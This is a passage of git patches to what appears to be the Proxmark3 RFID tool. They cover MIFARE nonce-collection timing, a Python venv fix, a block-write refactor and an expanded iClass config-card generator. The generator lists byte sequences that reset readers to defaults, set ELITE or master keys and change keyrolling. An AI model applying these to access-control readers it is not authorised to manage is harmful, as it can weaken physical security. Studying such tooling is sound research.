lprint(" " * (3 - len(str(n))), flush='', log=False, end='', prompt='') - lprint(f' ( {s} )', flush='', log=False, prompt='') + lprint(" " * (3 - len(str(n))), flush=True, log=False, end='', prompt='') + lprint(f' ( {s} )', flush=True, log=False, prompt='') s = color("ok", fg="green") if bad > 0: From 4e7f512d3b38fc8590bdb0e32d071b29a497446b Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Fri, 8 Nov 2024 01:38:27 +0100 Subject: [PATCH 106/155] add timing info in hf mf isen --collect... --- client/src/cmdhfmf.c | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/client/src/cmdhfmf.c b/client/src/cmdhfmf.c index 661630426..5a02d1120 100644 --- a/client/src/cmdhfmf.c +++ b/client/src/cmdhfmf.c @@ -9994,6 +9994,7 @@ static int CmdHF14AMfISEN(const char *Cmd) { } if (collect_fm11rf08s) { + uint64_t t1 = msclock(); uint32_t flags = collect_fm11rf08s_with_data; SendCommandMIX(CMD_HF_MIFARE_ACQ_STATIC_ENCRYPTED_NONCES, flags, 0, 0, key, sizeof(key)); if (WaitForResponseTimeout(CMD_HF_MIFARE_STATIC_ENCRYPTED_NONCE, &resp, 1000)) { @@ -10039,6 +10040,9 @@ static int CmdHF14AMfISEN(const char *Cmd) { } free(dump); } + t1 = msclock() - t1; + PrintAndLogEx(SUCCESS, "time: " _YELLOW_("%" PRIu64 ) " ms", t1); + if (fnlen == 0) { snprintf(filename, sizeof(filename), "hf-mf-%s-nonces%s", sprint_hex_inrow(card.uid, card.uidlen), collect_fm11rf08s_with_data ? "_with_data" : ""); } From d69e04dcbcc15ec530c2f7bf9304a48366f5284a Mon Sep 17 00:00:00 2001 From: Antiklesys Date: Sat, 9 Nov 2024 02:31:39 +0800 Subject: [PATCH 107/155] Updated hf iclass configcard Documented and added an extensive list of configcards available and functionalities. - Led Operations (A8 byte) are now fully documented (up from 2) - Added : Beep Operations - Elite Key Operations fully documented (3 up from 2) -Added potential other bytes pending full documentation / discovery -To Add: Reader Master Key Operations and Erratic Operations While initially I was trying to maximise backward compatibility with cardhelper, the way its functions were linked and engrained in the code, caused a constant flow of errors and did not allow the flexibility to easily expand the list of cards. Maintaining that code would lead to creating multiple duplicate functions with no real added value perceived (except increased complexity of the code and difficulty to continue maintaining its backward compatiblity) --- client/src/cmdhficlass.c | 244 +++++++++++++++++++-------------------- 1 file changed, 117 insertions(+), 127 deletions(-) diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index 2261e8d36..775610e4f 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -264,80 +264,62 @@ static uint8_t card_app2_limit[] = { 0xff, }; -static iclass_config_card_item_t iclass_config_types[13] = { - {"Audio/Visual #1 - Beep ON, LED Off, Flash GREEN on read", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xAC, 0x00, 0xA8, 0x8F, 0xA7, 0x80, 0xA9, 0x01}}, - {"Audio/Visual #2 - Beep ON, LED RED, Host must flash GREEN", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x87, 0x18, 0xAC, 0x00, 0xA8, 0x1F, 0xA7, 0x80, 0xA9, 0x01}}, - {"Audio/Visual #3 - Beep ON, LED Off, Host must flash RED and/or GREEN", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xAC, 0x00, 0xA8, 0x0F, 0xA9, 0x03, 0xA7, 0x80}}, - {"Keypad Output #1 - Buffer ONE key (8 bit Dorado)", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xAE, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, - {"Keypad Output #2 - Buffer ONE to FIVE keys (standard 26 bit)", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xAE, 0x0B, 0xAF, 0xFF, 0xAD, 0x15, 0xB3, 0x03}}, - {"Keypad Output #3 - Local PIN verify", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xAD, 0x6D, 0xB3, 0x03, 0x00, 0x00, 0x00, 0x00}}, - {"Mifare CSN #1 - 32 bit reverse output", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xAC, 0x01, 0xA7, 0x80, 0xA8, 0x9F, 0xA9, 0x01}}, - {"Mifare CSN #2 - 16 bit output", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xAC, 0x02, 0xA7, 0x80, 0xA8, 0x9F, 0xA9, 0x01}}, - {"Mifare CSN #3 - 34 bit output", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xAC, 0x03, 0xA7, 0x80, 0xA8, 0x9F, 0xA9, 0x01}}, - {"Keyroll DISABLE - Set ELITE Key and DISABLE Keyrolling", {0x0C, 0x00, 0x00, 0x01, 0x00, 0x00, 0xBF, 0x18, 0xBF, 0x01, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}}, - {"Keyroll ENABLE - Set ELITE Key and ENABLE Keyrolling", {0x0C, 0x00, 0x00, 0x01, 0x00, 0x00, 0xBF, 0x18, 0xBF, 0x03, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}}, - {"Reset READER - Reset READER to defaults", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, - {"Reset ENROLLER - Reset ENROLLER to defaults", {0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0xFF, 0xFF, 0xFF}} +static iclass_config_card_item_t iclass_config_options[30] = { + //Byte A8 - LED Operations + {"(LED) - Led idle (Off) / Led read (Off)", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xA8, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + {"(LED) - Led idle (Red) / Led read (Off)", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xA8, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + {"(LED) - Led idle (Grn) / Led read (Off)", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xA8, 0x2F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + {"(LED) - Led idle (Amber) / Led read (Off)", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xA8, 0x3F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + {"(LED) - Led idle (Off) / Led read (Red)", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xA8, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + {"(LED) - Led idle (Red) / Led read (Red)", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xA8, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + {"(LED) - Led idle (Grn) / Led read (Red)", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xA8, 0x6F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + {"(LED) - Led idle (Amber) / Led read (Red)", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xA8, 0x7F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + {"(LED) - Led idle (Off) / Led read (Grn)", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xA8, 0x8F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + {"(LED) - Led idle (Red) / Led read (Grn)", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xA8, 0x9F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + {"(LED) - Led idle (Grn) / Led read (Grn)", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xA8, 0xAF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + {"(LED) - Led idle (Amber) / Led read (Red)", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xA8, 0xBF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + {"(LED) - Led idle (Off) / Led read (Amber)", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xA8, 0xCF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + {"(LED) - Led idle (Red) / Led read (Amber)", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xA8, 0xDF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + {"(LED) - Led idle (Grn) / Led read (Amber)", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xA8, 0xEF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + {"(LED) - Led idle (Amber) / Led read (Amber)", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xA8, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + //Byte A9 - Potentially associated with led blinking / led heartbeat operations? + //Byte A6 - Potentially associated with beep pitch? + //Byte A7 - BEEP Operations + {"(BEEP) - Beep on Read (On)", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xA7, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + {"(BEEP) - Beep on Read (Off)", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xA7, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + //Byte AC - MIFARE CSN Operations + {"(MIFARE) - CSN Default Output", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xAC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + {"(MIFARE) - CSN 32 bit Reverse Output", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xAC, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + {"(MIFARE) - CSN 16 bit Output", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xAC, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + {"(MIFARE) - CSN 34 bit Output", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xAC, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + //Bytes AD, AE, AF, B3 - Keypad Operations + not fully mapped + {"(KEYPAD Output) - Buffer ONE key (8 bit Dorado)", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xAE, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + {"(KEYPAD Output) - Buffer ONE to FIVE keys (standard 26 bit)", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xAE, 0x0B, 0xAF, 0xFF, 0xAD, 0x15, 0xB3, 0x03}}, + {"(KEYPAD Output) - Local PIN verify", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xAD, 0x6D, 0xB3, 0x03, 0x00, 0x00, 0x00, 0x00}}, + //iClass Elite Key Operations + {"(ELITE Key) - Set ELITE Key and Enable Dual key (Elite + Standard)", {0x0C, 0x00, 0x00, 0x01, 0x00, 0x00, 0xBF, 0x18, 0xBF, 0x01, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}}, + {"(ELITE Key) - Set ELITE Key and ENABLE Keyrolling", {0x0C, 0x00, 0x00, 0x01, 0x00, 0x00, 0xBF, 0x18, 0xBF, 0x03, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}}, + {"(ELITE Key) - Set ELITE Key and DISABLE Standard Key", {0x0C, 0x00, 0x00, 0x01, 0x00, 0x00, 0xBF, 0x18, 0xBF, 0x05, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}}, + //Erroneous / incorrect reader behaviors + //Reset Operations + {"(RESET) - Reset READER to defaults", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + {"(RESET) - Reset ENROLLER to defaults", {0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0xFF, 0xFF, 0xFF}} + //Reader Master Key Operations }; -static bool check_config_card(const iclass_config_card_item_t *o) { - if (o == NULL || strlen(o->desc) == 0) { - PrintAndLogEx(INFO, "No data available"); - PrintAndLogEx(HINT, "Try `" _YELLOW_("hf iclass config -l") "` to download from cardhelper"); - return false; - } - return true; -} - -static int load_config_cards(void) { - PrintAndLogEx(INFO, "detecting cardhelper..."); - if (IsCardHelperPresent(false) == false) { - PrintAndLogEx(FAILED, "failed to detect cardhelper"); - return PM3_ENODATA; - } - - for (int i = 0; i < ARRAYLEN(iclass_config_types); ++i) { - - PrintAndLogEx(INPLACE, "loading setting %i", i); - iclass_config_card_item_t *ret = &iclass_config_types[i]; - - uint8_t desc[70] = {0}; - if (GetConfigCardStrByIdx(i, desc) == PM3_SUCCESS) { - memcpy(ret->desc, desc, sizeof(desc)); - } - - uint8_t blocks[16] = {0}; - if (GetConfigCardByIdx(i, blocks) == PM3_SUCCESS) { - memcpy(ret->data, blocks, sizeof(blocks)); - } - } - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(HINT, "Try `" _YELLOW_("hf iclass configcard -p") "` to list all"); - return PM3_SUCCESS; -} - static const iclass_config_card_item_t *get_config_card_item(int idx) { - if (idx > -1 && idx < 14) { - return &iclass_config_types[idx]; + if (idx > -1 && idx < ARRAYLEN(iclass_config_options)) { + return &iclass_config_options[idx]; } - return &iclass_config_types[13]; + return &iclass_config_options[ARRAYLEN(iclass_config_options)]; } static void print_config_cards(void) { - if (check_config_card(&iclass_config_types[0])) { - PrintAndLogEx(INFO, "---- " _CYAN_("Config cards available") " ------------"); - for (int i = 0; i < ARRAYLEN(iclass_config_types) ; ++i) { - PrintAndLogEx(INFO, "%2d, %s", i, iclass_config_types[i].desc); - } - PrintAndLogEx(NORMAL, ""); - } -} - -static void print_config_card(const iclass_config_card_item_t *o) { - if (check_config_card(o)) { - PrintAndLogEx(INFO, "description... " _YELLOW_("%s"), o->desc); - PrintAndLogEx(INFO, "data.......... " _YELLOW_("%s"), sprint_hex_inrow(o->data, sizeof(o->data))); + PrintAndLogEx(INFO, "---- " _CYAN_("Config cards options") " ------------"); + for (int i = 0; i < ARRAYLEN(iclass_config_options) ; ++i) { + PrintAndLogEx(INFO, "%2d, %s", i, iclass_config_options[i].desc); } + PrintAndLogEx(NORMAL, ""); } static void iclass_encrypt_block_data(uint8_t *blk_data, uint8_t *key) { @@ -350,10 +332,7 @@ static void iclass_encrypt_block_data(uint8_t *blk_data, uint8_t *key) { mbedtls_des3_free(&ctx); } -static int generate_config_card(const iclass_config_card_item_t *o, uint8_t *key, bool got_kr, uint8_t *card_key, bool got_krki, bool use_elite) { - if (check_config_card(o) == false) { - return PM3_EINVARG; - } +static int generate_config_card(const iclass_config_card_item_t *o, uint8_t *key, bool got_kr, uint8_t *card_key, bool got_eki, bool use_elite, bool got_mk, uint8_t *master_key) { // generated config card header picopass_hdr_t configcard; @@ -362,7 +341,7 @@ static int generate_config_card(const iclass_config_card_item_t *o, uint8_t *ke memcpy(&configcard.conf, "\xFF\xFF\xFF\xFF\xF9\xFF\xFF\xBC", 8); memcpy(&configcard.epurse, "\xFE\xFF\xFF\xFF\xFF\xFF\xFF\xFF", 8); - if (got_krki) { + if (got_eki) { HFiClassCalcDivKey(configcard.csn, card_key, configcard.key_d, use_elite); } else { // defaulting to AA1 ki 0 @@ -378,7 +357,7 @@ static int generate_config_card(const iclass_config_card_item_t *o, uint8_t *ke if (res == PM3_SUCCESS) { cc = &iclass_last_known_card; // calc diversified key for selected card - if (got_krki) { + if (got_eki) { HFiClassCalcDivKey(cc->csn, card_key, cc->key_d, use_elite); } else { // defaulting to AA1 ki 0 @@ -388,6 +367,7 @@ static int generate_config_card(const iclass_config_card_item_t *o, uint8_t *ke PrintAndLogEx(FAILED, "failed to read a card"); PrintAndLogEx(INFO, "falling back to default config card"); } + PrintAndLogEx(INFO, "Generating "_YELLOW_("%s"), o->desc); // generate dump file uint8_t app1_limit = cc->conf.app_limit; @@ -406,12 +386,31 @@ static int generate_config_card(const iclass_config_card_item_t *o, uint8_t *ke memcpy(data, cc, sizeof(picopass_hdr_t)); print_picopass_header(cc); + // KEYROLL need to encrypt + uint8_t key_en[16] = {0}; + uint8_t *keyptr_en = NULL; + size_t keylen = 0; + int res_key = loadFile_safe(ICLASS_DECRYPTION_BIN, "", (void **)&keyptr_en, &keylen); + if (res_key != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed to find iclass_decryptionkey.bin"); + free(data); + return PM3_EINVARG; + } + + if (keylen != 16) { + PrintAndLogEx(ERR, "Failed to load transport key from file"); + free(keyptr_en); + free(data); + return PM3_EINVARG; + } + memcpy(key_en, keyptr_en, sizeof(key_en)); + free(keyptr_en); // Keyrolling configuration cards are special. - if (strstr(o->desc, "Keyroll") != NULL) { + if (strstr(o->desc, "ELITE") != NULL) { if (got_kr == false) { - PrintAndLogEx(ERR, "please specify KEYROLL key!"); + PrintAndLogEx(ERR, "please specify ELITE key!"); free(data); return PM3_EINVARG; } @@ -438,28 +437,6 @@ static int generate_config_card(const iclass_config_card_item_t *o, uint8_t *ke bool old = GetFlushAfterWrite(); SetFlushAfterWrite(true); - // KEYROLL need to encrypt - uint8_t key_en[16] = {0}; - uint8_t *keyptr_en = NULL; - if (IsCardHelperPresent(false) == false) { - size_t keylen = 0; - int res_key = loadFile_safe(ICLASS_DECRYPTION_BIN, "", (void **)&keyptr_en, &keylen); - if (res_key != PM3_SUCCESS) { - PrintAndLogEx(ERR, "Failed to find iclass_decryptionkey.bin"); - free(data); - return PM3_EINVARG; - } - - if (keylen != 16) { - PrintAndLogEx(ERR, "Failed to load transport key from file"); - free(keyptr_en); - free(data); - return PM3_EINVARG; - } - memcpy(key_en, keyptr_en, sizeof(key_en)); - free(keyptr_en); - } - PrintAndLogEx(INFO, "Setting up encryption... " NOLF); uint8_t ffs[8] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; if (IsCardHelperPresent(false) != false) { @@ -559,6 +536,15 @@ static int generate_config_card(const iclass_config_card_item_t *o, uint8_t *ke } else { memcpy(data, cc, sizeof(picopass_hdr_t)); memcpy(data + (6 * 8), o->data, sizeof(o->data)); + if (strstr(o->desc, "Custom") != NULL){ + if (got_mk == false) { + PrintAndLogEx(ERR, "please specify New Master Key!"); + free(data); + return PM3_EINVARG; + } + iclass_encrypt_block_data(master_key, key_en); + memcpy(data + (0x07 * 8), master_key, PICOPASS_BLOCK_SIZE); + } } //Send to device @@ -5008,20 +4994,17 @@ static int CmdHFiClassConfigCard(const char *Cmd) { "Manage reader configuration card via Cardhelper or internal database,\n" "The generated config card will be uploaded to device emulator memory.\n" "You can start simulating `hf iclass sim -t 3` or use the emul commands", - "hf iclass configcard -l --> download config card settings from cardhelper\n" "hf iclass configcard -p --> print all config cards in the database\n" - "hf iclass configcard --ci 1 --> view config card setting in slot 1\n" - "hf iclass configcard -g --ci 0 --> generate config file from slot 0" + "hf iclass configcard --g 0 --> generate config file with option 0" ); void *argtable[] = { arg_param_begin, - arg_int0(NULL, "ci", "", "use config slot at index"), + arg_int0(NULL, "g", "", "use config option"), arg_int0(NULL, "ki", "", "Card Key - index to select key from memory 'hf iclass managekeys'"), - arg_int0(NULL, "krki", "", "Elite Keyroll Key - index to select key from memory 'hf iclass managekeys'"), + arg_int0(NULL, "eki", "", "Elite Key - index to select key from memory 'hf iclass managekeys'"), + arg_int0(NULL, "mrki", "", "Standard Master Key - index to select key from memory 'hf iclass managekeys'"), arg_lit0(NULL, "elite", "Use elite key for the the Card Key ki"), - arg_lit0("g", NULL, "generate card dump file"), - arg_lit0("l", NULL, "load available cards"), arg_lit0("p", NULL, "print available cards"), arg_param_end }; @@ -5030,17 +5013,16 @@ static int CmdHFiClassConfigCard(const char *Cmd) { int ccidx = arg_get_int_def(ctx, 1, -1); int card_kidx = arg_get_int_def(ctx, 2, -1); int kidx = arg_get_int_def(ctx, 3, -1); - bool elite = arg_get_lit(ctx, 4); - bool do_generate = arg_get_lit(ctx, 5); - bool do_load = arg_get_lit(ctx, 6); - bool do_print = arg_get_lit(ctx, 7); + int midx = arg_get_int_def(ctx, 4, -1); + bool elite = arg_get_lit(ctx, 5); + bool do_print = arg_get_lit(ctx, 6); CLIParserFree(ctx); - bool got_krki = false; + bool got_eki = false; uint8_t card_key[8] = {0}; if (card_kidx >= 0) { if (card_kidx < ICLASS_KEYS_MAX) { - got_krki = true; + got_eki = true; memcpy(card_key, iClass_Key_Table[card_kidx], 8); PrintAndLogEx(SUCCESS, "Using card key[%d] " _GREEN_("%s"), card_kidx, sprint_hex(iClass_Key_Table[card_kidx], 8)); } else { @@ -5057,14 +5039,23 @@ static int CmdHFiClassConfigCard(const char *Cmd) { memcpy(keyroll_key, iClass_Key_Table[kidx], 8); PrintAndLogEx(SUCCESS, "Using keyroll key[%d] " _GREEN_("%s"), kidx, sprint_hex(iClass_Key_Table[kidx], 8)); } else { - PrintAndLogEx(ERR, "--krki number is invalid"); + PrintAndLogEx(ERR, "--eki number is invalid"); return PM3_EINVARG; } } - if (do_load) { - if (load_config_cards() != PM3_SUCCESS) { - PrintAndLogEx(INFO, "failed to load, check your cardhelper"); + bool got_mk = false; + uint8_t master_key[8] = {0}; + if (midx >= 0) { + if (midx < ICLASS_KEYS_MAX) { + got_mk = true; + uint8_t key_iclass_format[8] = {0}; + permutekey(iClass_Key_Table[midx], key_iclass_format); + memcpy(master_key, key_iclass_format, 8); + PrintAndLogEx(SUCCESS, "Using key[%d] as new Reader's Master Key" _GREEN_("%s"), midx, sprint_hex(iClass_Key_Table[midx], 8)); + } else { + PrintAndLogEx(ERR, "--mrki number is invalid"); + return PM3_EINVARG; } } @@ -5072,22 +5063,21 @@ static int CmdHFiClassConfigCard(const char *Cmd) { print_config_cards(); } - if (ccidx > -1 && ccidx < ARRAYLEN(iclass_config_types)) { + if (ccidx > -1 && ccidx < ARRAYLEN(iclass_config_options)) { const iclass_config_card_item_t *item = get_config_card_item(ccidx); - print_config_card(item); - } else { - PrintAndLogEx(ERR, "Please specify a valid configuration number!"); - } - - if (do_generate && (ccidx > -1 && ccidx < ARRAYLEN(iclass_config_types))) { - const iclass_config_card_item_t *item = get_config_card_item(ccidx); - if (strstr(item->desc, "Keyroll") != NULL) { - if (got_kr == false) { - PrintAndLogEx(ERR, "please specify KEYROLL key!"); + if (strstr(item->desc, "ELITE") != NULL && got_kr == false) { + PrintAndLogEx(ERR, "please specify ELITE Key (--eki) !"); return PM3_EINVARG; - } } - generate_config_card(item, keyroll_key, got_kr, card_key, got_krki, elite); + if (strstr(item->desc, "Custom") != NULL && got_mk == false) { + PrintAndLogEx(ERR, "please specify New Standard Master Key (--mrki) !"); + return PM3_EINVARG; + } + if (strstr(item->desc, "Restore") != NULL && card_kidx == -1) { + PrintAndLogEx(ERR, "please specify the Current Reader's Key (--ki) !"); + return PM3_EINVARG; + } + generate_config_card(item, keyroll_key, got_kr, card_key, got_eki, elite, got_mk, master_key); } return PM3_SUCCESS; @@ -5241,7 +5231,7 @@ static command_t CommandTable[] = { {"esetblk", CmdHFiClassESetBlk, IfPm3Iclass, "Set emulator memory block data"}, {"eview", CmdHFiClassEView, IfPm3Iclass, "View emulator memory"}, {"-----------", CmdHelp, AlwaysAvailable, "---------------------- " _CYAN_("Utils") " ----------------------"}, - {"configcard", CmdHFiClassConfigCard, IfPm3Iclass, "Reader configuration card"}, + {"configcard", CmdHFiClassConfigCard, IfPm3Iclass, "Reader configuration card generator"}, {"calcnewkey", CmdHFiClassCalcNewKey, AlwaysAvailable, "Calc diversified keys (blocks 3 & 4) to write new keys"}, {"encode", CmdHFiClassEncode, AlwaysAvailable, "Encode binary wiegand to block 7"}, {"encrypt", CmdHFiClassEncryptBlk, AlwaysAvailable, "Encrypt given block data"}, From c8fd19dd9d8bd42df301e124e75e011e79b5a796 Mon Sep 17 00:00:00 2001 From: Antiklesys Date: Sat, 9 Nov 2024 02:33:00 +0800 Subject: [PATCH 108/155] Update CHANGELOG.md --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index fda262dde..dbbf7333f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Major changes to `hf iclass configcard` expanding the list of available options and functionalities (@antiklesys) - Fixed `intertic.py` - missing comma in array (@iceman1001) - Added improved algorithm for `hf iclass legrec` leveraging reduced entropy from hash0 constraints (@antiklesys) - Fixed `hf iclass configcard` when generating elite or keyroll elite configcards for Rev.C legacy readers (@antiklesys) From 60e932f2f73563a36bed1e216497c13052715760 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Sat, 9 Nov 2024 01:24:34 +0100 Subject: [PATCH 109/155] get python3 scripts running with venv --- client/src/cmdscript.c | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/client/src/cmdscript.c b/client/src/cmdscript.c index 8929cea68..004da456f 100644 --- a/client/src/cmdscript.c +++ b/client/src/cmdscript.c @@ -469,8 +469,16 @@ static int CmdScriptRun(const char *Cmd) { // We disallowed in py_conf environment variables interfering with python interpreter's behavior. // Let's manually enable the ones we truly need. - // This is required by Proxspace to work with an isolated Python configuration - PyConfig_SetBytesString(&py_conf, &py_conf.home, getenv("PYTHONHOME")); + const char *virtual_env = getenv("VIRTUAL_ENV"); + if (virtual_env != NULL) { + size_t length = strlen(virtual_env) + strlen("/bin/python3") + 1; + char python_executable_path[length]; + snprintf(python_executable_path, length, "%s/bin/python3", virtual_env); + PyConfig_SetBytesString(&py_conf, &py_conf.executable, python_executable_path); + } else { + // This is required by Proxspace to work with an isolated Python configuration + PyConfig_SetBytesString(&py_conf, &py_conf.home, getenv("PYTHONHOME")); + } // This is required for allowing `import pm3` in python scripts PyConfig_SetBytesString(&py_conf, &py_conf.pythonpath_env, getenv("PYTHONPATH")); From 821a3066a698b5a5bb985c13237dbc6bcbe302d2 Mon Sep 17 00:00:00 2001 From: pingu2211 Date: Sun, 10 Nov 2024 22:36:39 +1100 Subject: [PATCH 110/155] move mfWriteBlock --- client/src/cmdhfmf.c | 29 +++++++---------------------- client/src/mifare/mifarehost.c | 17 +++++++++++++++++ client/src/mifare/mifarehost.h | 2 ++ 3 files changed, 26 insertions(+), 22 deletions(-) diff --git a/client/src/cmdhfmf.c b/client/src/cmdhfmf.c index 5a02d1120..fb240763e 100644 --- a/client/src/cmdhfmf.c +++ b/client/src/cmdhfmf.c @@ -45,6 +45,7 @@ #include "mifare/gen4.h" #include "generator.h" // keygens. #include "fpga.h" +#include "mifare/mifarehost.h" static int CmdHelp(const char *Cmd); @@ -494,22 +495,6 @@ void mf_print_sector_hdr(uint8_t sector) { PrintAndLogEx(INFO, "----+-------------------------------------------------+-----------------"); } -static bool mf_write_block(const uint8_t *key, uint8_t keytype, uint8_t blockno, uint8_t *block) { - - uint8_t data[26]; - memcpy(data, key, MIFARE_KEY_SIZE); - memcpy(data + 10, block, MFBLOCK_SIZE); - - clearCommandBuffer(); - SendCommandMIX(CMD_HF_MIFARE_WRITEBL, blockno, keytype, 0, data, sizeof(data)); - PacketResponseNG resp; - if (WaitForResponseTimeout(CMD_ACK, &resp, 1500) == false) { - PrintAndLogEx(FAILED, "command execution time out"); - return false; - } - - return ((resp.oldarg[0] & 0xff) == 1); -} // assumes n is in number of blocks 0..255 static void mf_analyse_acl(uint16_t n, uint8_t *d) { @@ -6784,9 +6769,9 @@ skipfile: } // write to card, try B key first - if (mf_write_block(keyB[i], MF_KEY_B, b, block) == 0) { + if (mfWriteBlock(keyB[i], MF_KEY_B, b, block) != PM3_SUCCESS) { // try A key, - if (mf_write_block(keyA[i], MF_KEY_A, b, block) == 0) { + if (mfWriteBlock(keyA[i], MF_KEY_A, b, block) != PM3_SUCCESS) { return PM3_EFAILED; } } @@ -7027,10 +7012,10 @@ int CmdHFMFNDEFWrite(const char *Cmd) { } // write to card, try B key first - if (mf_write_block(g_mifare_default_key, MF_KEY_B, block_no, block) == 0) { + if (mfWriteBlock(g_mifare_default_key, MF_KEY_B, block_no, block) != PM3_SUCCESS) { // try A key, - if (mf_write_block(g_mifare_ndef_key, MF_KEY_A, block_no, block) == 0) { + if (mfWriteBlock(g_mifare_ndef_key, MF_KEY_A, block_no, block) != PM3_SUCCESS) { return PM3_EFAILED; } } @@ -9507,8 +9492,8 @@ static int CmdHFMFHidEncode(const char *Cmd) { PrintAndLogEx(INFO, "Writing %u - %s", (i + 1), sprint_hex_inrow(blocks + (i * MFBLOCK_SIZE), MFBLOCK_SIZE)); } - if (mf_write_block(empty, MF_KEY_A, (i + 1), blocks + (i * MFBLOCK_SIZE)) == false) { - if (mf_write_block(empty, MF_KEY_B, (i + 1), blocks + (i * 